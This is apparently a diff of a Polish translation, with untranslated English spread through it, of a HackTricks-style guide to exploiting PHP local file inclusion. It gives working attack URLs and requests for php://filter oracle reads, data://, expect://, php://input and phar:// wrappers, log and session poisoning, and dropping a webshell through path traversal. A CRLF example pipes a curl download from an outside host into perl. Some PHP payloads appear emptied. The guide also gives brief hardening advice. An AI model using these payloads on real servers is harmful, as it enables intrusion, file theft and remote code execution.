podstawowych **operacji modyfikacji danych** zanim zostaną odczytane lub zapisane. Istnieje 5 kategorii filtrów: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` - `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">") -- Note that this filter has disappear from the modern versions of PHP +- Należy zauważyć, że ten filtr zniknął w nowoczesnych wersjach PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Konwertuje do innego kodowania (`convert.iconv..`). Aby uzyskać **listę wszystkich obsługiwanych kodowań** uruchom w konsoli: `iconv -l` +- `convert.iconv.*` : Konwertuje na inne kodowanie (`convert.iconv..`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l` > [!WARNING] -> Nadużywając filtru konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne, by zapisać dowolny tekst lub sprawić, że funkcja taka jak include przetworzy dowolny tekst. Więcej informacji znajdziesz w [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Nadużywając filtru konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, że funkcje takie jak include będą przetwarzać dowolny tekst. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Kompresuje zawartość (useful if exfiltrating a lot of info) -- `zlib.inflate`: Dekompresuje dane +- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info) +- `zlib.inflate`: Decompress the data - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Deprecated - `mdecrypt.*` : Deprecated -- Other Filters -- Uruchamiając w PHP `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**: +- Inne filtry +- Uruchamiając w php `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**: - `consumed` -- `dechunk`: odwraca HTTP chunked encoding +- `dechunk`: reverses HTTP chunked encoding - `convert.*` ```php # String Filters @@ -273,37 +273,46 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > Część "php://filter" nie rozróżnia wielkości liter -### Użycie php filters jako oracle do czytania dowolnych plików +### Użycie php filters jako oracle do odczytu dowolnych plików -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception. +[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Technika ta opiera się na booleanowej eksfiltracji pliku (znak po znaku) z użyciem php filters jako oracle. Dzieje się tak, ponieważ php filters mogą być użyte do powiększenia tekstu na tyle, żeby php rzucił wyjątek. -W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj krótkie podsumowanie: +W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótkie podsumowanie: -- Użyj kodeka **`UCS-4LE`** aby pozostawić pierwszy znak tekstu na początku i sprawić, że rozmiar łańcucha będzie rósł wykładniczo. -- Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie odgadnięta** php wywoła **błąd**. -- Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy sprawdzić, czy pierwszy znak jest hex. -- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco dużo transformacji, by przestała być znakiem szesnastkowym. Ponieważ jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd php. -- Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na następną (czyli po tym kodeku: a -> b). Pozwala to ustalić, czy pierwsza litera to na przykład `a`, ponieważ jeśli zastosujemy 6 razy ten kodek a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym, więc dechunk jej nie usunie i zostanie wywołany błąd php, ponieważ mnoży się z początkową bombą. -- Stosując inne transformacje, jak **rot13** na początku, można leakować inne znaki, takie jak n, o, p, q, r (i inne kodeki można użyć, by przesunąć inne litery do zakresu hex). -- Gdy początkowy znak jest cyfrą, trzeba go zakodować base64 i leakować pierwsze 2 znaki, aby leakować liczbę. -- Końcowym problemem jest ustalenie, **jak leakować więcej niż początkową literę**. Używając filtrów zmieniających kolejność bajtów, jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić kolejność znaków i umieścić na pierwszej pozycji inne litery z tekstu. -- A aby móc uzyskać **dalsze dane** pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby to **pivot with the next 2 bytes**, oraz **usunąć dane aż do junk data** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dojdziesz do pożądanego fragmentu do leakowania. +- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. + - Użyj kodeka **`UCS-4LE`**, aby pozostawić początkowy znak tekstu na początku i sprawić, że rozmiar ciągu będzie wzrastał wykładniczo. +- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error** + - Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie zgadnięta poprawnie**, php wywoła **błąd**. +- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex. + - Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, dzięki czemu możemy stwierdzić, czy pierwszy znak jest hex. +- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error. + - To, w połączeniu z powyższym (i innymi filtrami zależnymi od zgadywanej litery), pozwoli nam zgadnąć literę na początku tekstu poprzez obserwację, kiedy wykonamy wystarczającą liczbę transformacji, aby przestała być znakiem heksadecymalnym. Jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd PHP. +- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. + - Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na kolejną (więc po tym kodeku: a -> b). Pozwala to odkryć, czy pierwsza litera to np. `a`, ponieważ jeśli zastosujemy ten kodek 6 razy: a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym — dechunk jej nie usuwa, a błąd PHP zostaje wywołany w połączeniu z początkową bombą. +- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range). + - Używając innych transformacji, takich jak **rot13** na początku, możliwe jest leak innych znaków, np. n, o, p, q, r (i inne kodeki można użyć, aby przesunąć inne litery do zakresu hex). +- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number. + - Gdy początkowy znak jest cyfrą, należy zakodować go base64 i leak pierwsze 2 litery, aby ujawnić cyfrę. +- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text. + - Ostatecznym problemem jest ustalenie, **how to leak more than the initial letter**. Używając filtrów zmieniających kolejność bajtów (order memory filters), takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić porządek znaków i umieścić na pierwszej pozycji inne litery tekstu. +- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak. + - Aby móc uzyskać **further data**, pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby je **pivot with the next 2 bytes**, oraz **usunąć dane aż do danych-śmieci** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dojdziesz do żądanego bitu do leak. -W poście opublikowano również narzędzie automatyzujące to: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +W poście opublikowano także narzędzie automatyzujące ten proces: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Ten wrapper pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do exfiltrate zawartości otwartych plików: +This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku) +Możesz też użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku) ### zip:// and rar:// -Wgraj plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\ -Aby móc wykorzystać protokół rar, **musi być on specjalnie aktywowany**. +Prześlij plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\ +Aby móc nadużyć protokołu rar, musi on być **specjalnie aktywowany**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,24 +337,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Uwaga: ten protokół jest ograniczony ustawieniami PHP **`allow_url_open`** i **`allow_url_include`** +Zauważ, że ten protokół jest ograniczony przez konfiguracje php **`allow_url_open`** i **`allow_url_include`** ### expect:// -Expect musi być włączony. Możesz uruchomić kod za jego pomocą: +Expect musi być aktywowany. Możesz wykonać kod przy użyciu tego: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -Określ swój payload w parametrach POST: +Podaj swój payload w parametrach POST: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`: +Plik `.phar` może zostać wykorzystany do wykonania kodu PHP, gdy aplikacja webowa wykorzystuje funkcje takie jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`: ```php [!WARNING] -> Ta technika ma zastosowanie w przypadkach, gdy **control** ścieżki pliku (**file path**) funkcji **PHP function** która będzie **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana. +> Ta technika ma zastosowanie w przypadkach, gdy kontrolujesz **file path** przekazywaną do **PHP function**, która będzie **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana. -W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. +W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) jest wyjaśnione, jak blind path traversal można wykorzystać za pomocą PHP filter, aby **exfiltrate the content of a file via an error oracle**. -Podsumowując, technika wykorzystuje kodowanie **"UCS-4LE" encoding**, aby zawartość pliku była tak **big**, że **PHP function opening** plik wywoła **error**. +W skrócie, technika używa kodowania **"UCS-4LE"** aby uczynić zawartość pliku tak **big**, że **PHP function opening** plik spowoduje **błąd**. -Następnie, aby leak the first char używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a ostatecznie filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane, aby **place other chars at the beggining and leak them**. +Następnie, aby leak pierwszego znaku, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** lub **rot13**, a na koniec filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane, aby **place other chars at the beggining and leak them**. Funkcje, które mogą być podatne: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` @@ -427,20 +436,20 @@ Szczegóły techniczne znajdziesz we wspomnianym poście! ### Arbitrary File Write via Path Traversal (Webshell RCE) -Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. filename lub URL) bez canonicalising i walidacji, segmenty `..` i ścieżki absolutne mogą uciec z zamierzonego katalogu i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym w sieci, zazwyczaj uzyskujesz unauthenticated RCE przez upuszczenie webshell. +Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje docelową ścieżkę używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez kanonizacji i walidacji, segmenty `..` oraz ścieżki bezwzględne mogą wydostać się poza zamierzony katalog i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym do sieci (web-exposed directory), zazwyczaj uzyskujesz nieautoryzowane RCE przez upuszczenie webshell. Typowy przebieg eksploatacji: -- Znajdź write primitive w endpoint lub background worker, który akceptuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.). -- Określ web-exposed directories. Typowe przykłady: -- Apache/PHP: `/var/www/html/` -- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` -- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Stwórz traversal path, który wydostanie się z zamierzonego katalogu storage do webroot i dołącz zawartość webshell. +- Zidentyfikuj write primitive w endpointzie lub background workerze, który przyjmuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.). +- Określ katalogi wystawione w sieci. Typowe przykłady: + - Apache/PHP: `/var/www/html/` + - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` + - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Stwórz traversal path, który wyjdzie z zamierzonego katalogu storage i przejdzie do webroot, dołączając zawartość webshell. - Otwórz upuszczony payload w przeglądarce i wykonaj polecenia. Uwagi: -- Usługa wykonująca zapis może nasłuchiwać na porcie nie-HTTP (np. JMF XML listener na TCP 4004). Główny web portal (inny port) później będzie serwować twój payload. -- Na stosach Java, zapisy plików są często implementowane prostym łączeniem `File`/`Paths`. Brak canonicalisation/allow-listing jest główną wadą. +- Usługa wykonująca zapis może nasłuchiwać na porcie innym niż HTTP (np. JMF XML listener na TCP 4004). Główne webowe portal (inny port) później będzie serwować twój payload. +- Na stosach Java zapisy plików są często implementowane prostym łączeniem `File`/`Paths`. Brak kanonizacji/allow-listingu jest główną wadą. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,26 +475,26 @@ in.transferTo(out); ``` -Środki zabezpieczające, które niwelują tę klasę błędów: -- Rozwiązuj do ścieżki kanonicznej i wymuszaj, aby była potomkiem katalogu bazowego znajdującego się na białej liście. +Umacnianie, które uniemożliwia tę klasę błędów: +- Rozwiązuj do kanonicznej ścieżki i egzekwuj, że jest ona potomkiem katalogu bazowego z listy dozwolonych. - Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików. -- Uruchamiaj proces zapisujący jako konto o ograniczonych uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych. +- Uruchamiaj proces zapisujący jako konto o niskich uprawnieniach i separuj katalogi do zapisu od katalogów serwowanych. ## Remote File Inclusion -Explained previously, [**follow this link**](#remote-file-inclusion). +Wyjaśnione wcześniej, [**follow this link**](#remote-file-inclusion). ### Via Apache/Nginx log file -Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **``** i includeować ten plik +Jeśli serwer Apache lub Nginx jest **podatny na LFI** w funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` lub `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **``** i dołączyć ten plik > [!WARNING] -> Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na łańcuch znaków "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**. +> Zauważ, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na string "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**. > -> Upewnij się również, że **prawidłowo zapisujesz payload** lub PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje wczytać plik logu i nie będziesz miał drugiej szansy. +> Upewnij się także, że **prawidłowo zapisujesz payload** albo PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje wczytać plik logu i nie będziesz mieć drugiej szansy. -To można również zrobić w innych logach, ale **uważaj,** kod w logach może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell może być wstawiony wewnątrz tego nagłówka.\ -Other possible log paths: +To można też zrobić w innych logach, ale **uważaj,** kod wewnątrz logów może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell może być wstawiony w ten nagłówek.\ +Inne możliwe ścieżki logów: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -501,42 +510,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Przez e-mail -**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `` i spróbuj include'ować mail użytkownika ze ścieżką taką jak **`/var/mail/`** lub **`/var/spool/mail/`** +**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `` i spróbuj dołączyć go do maila użytkownika ze ścieżką taką jak **`/var/mail/`** lub **`/var/spool/mail/`** -### Przez /proc/*/fd/* +### Via /proc/\*/fd/\* -1. Uploaduj dużo shelli (na przykład: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too) +1. Wgraj wiele shelli (na przykład: 100) +2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), z $PID = PID procesu (może być brute forced) i $FD to deskryptor pliku (również może być brute forced) -### Przez /proc/self/environ +### Via /proc/self/environ -Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ +Podobnie jak w przypadku pliku logu, wyślij payload w nagłówku User-Agent — zostanie on odzwierciedlony w pliku /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Via upload +### Przez upload -Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np.: ``). +Jeśli możesz uploadować plik, po prostu wstrzyknij do niego shell payload (np : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Aby plik pozostał czytelny, najlepiej wstrzyknąć to do metadanych obrazków/doc/pdf +Aby plik pozostał czytelny, najlepiej wstrzyknąć go do metadanych obrazów/doc/pdf -### Przez przesłanie pliku ZIP +### Przez upload pliku Zip Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Przez sesje PHP +### Za pomocą PHP sessions -Sprawdź, czy strona używa sesji PHP (PHPSESSID) +Sprawdź, czy strona używa PHP Session (PHPSESSID) ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -W PHP te sesje są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_ +W PHP sesje te są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -551,77 +560,77 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Przez ssh -Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\/.ssh/id_rsa** +Jeśli ssh jest aktywny, sprawdź, którego użytkownika używa (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\/.ssh/id_rsa** -### **Przez** **vsftpd** _**logi**_ +### **Przez** **vsftpd** _**logs**_ -Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, gdy występuje luka typu Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: +Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, w którym istnieje podatność Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: -1. Wstrzyknij payload PHP w pole username podczas procesu logowania. +1. Zainjektuj PHP payload do pola username podczas procesu logowania. 2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_. ### Przez php base64 filter (używając base64) -Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload: +Jak pokazano w [tym](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz tego użyć, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Za pomocą php filters (plik nie jest potrzebny) +### Przez php filters (bez potrzeby pliku) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters to generate arbitrary content** jako output. Co w zasadzie oznacza, że możesz **generate arbitrary php code** dla include **without needing to write** go do pliku. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters do generowania dowolnej zawartości** jako wyjście. Co właściwie oznacza, że możesz **wygenerować dowolny kod php** dla include **bez potrzeby zapisywania** go do pliku. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Za pomocą segmentation fault +### Przez segmentation fault -**Upload** plik, który zostanie zapisany jako **temporary** w `/tmp`, następnie w **tej samej request** wywołaj **segmentation fault**, a wtedy **temporary file won't be deleted** i możesz go wyszukać. +**Wyślij** plik, który zostanie zapisany jako **tymczasowy** w `/tmp`, potem w **tym samym żądaniu** wywołaj **segmentation fault**, a wtedy **tymczasowy plik nie zostanie usunięty** i będziesz mógł go znaleźć. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Za pomocą Nginx temp file storage +### Przez przechowywanie plików tymczasowych Nginx -Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu poniższej techniki: +If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### Za pomocą PHP_SESSION_UPLOAD_PROGRESS +### Przez PHP_SESSION_UPLOAD_PROGRESS -Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **don't have a session** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **enable the session for you**. Można to nadużyć, aby uzyskać RCE: +If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Za pomocą temp file uploads in Windows +### Przez przesyłanie plików tymczasowych w Windows -Jeśli znalazłeś **Local File Inclusion** i serwer działa na **Windows**, możesz uzyskać RCE: +If you found a **Local File Inclusion** i serwer działa na **Windows**, możesz uzyskać RCE: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### Za pomocą `pearcmd.php` + URL args +### Przez `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. Zobacz także [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) oraz [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). -Poniższe żądanie tworzy plik w `/tmp/hello.php` z zawartością ``: +The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Poniższy przykład wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Poniższe wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -639,7 +648,7 @@ lfi2rce-via-phpinfo.md ### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Jeśli znalazłeś **Local File Inclusion** i możesz exfiltrate ścieżkę pliku tymczasowego, ALE serwer sprawdza, czy plik do włączenia ma znaczniki PHP, możesz spróbować obejść tę kontrolę przy pomocy tej **Race Condition**: +Jeśli znalazłeś **Local File Inclusion** i możesz **can exfiltrate the path** pliku tymczasowego, ALE **serwer** **is** **checking** if the **file to be included has PHP marks**, możesz spróbować **bypass that check** za pomocą tego **Race Condition**: {{#ref}} @@ -648,7 +657,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Przez eternal waiting + bruteforce -Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że serwer **zawieśnie** wykonywanie PHP, możesz następnie **brute force** nazwy plików przez wiele godzin, aby znaleźć plik tymczasowy: +Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że serwer **hang** wykonanie PHP, możesz następnie przez wiele godzin **brute force filenames during hours**, aby znaleźć plik tymczasowy: {{#ref}} @@ -657,14 +666,14 @@ lfi2rce-via-eternal-waiting.md ### Do Fatal Error -Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd). +Jeśli dołączysz któryś z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd). -**Nie wiem, jak to może być przydatne, ale może.**\ -_Nawet 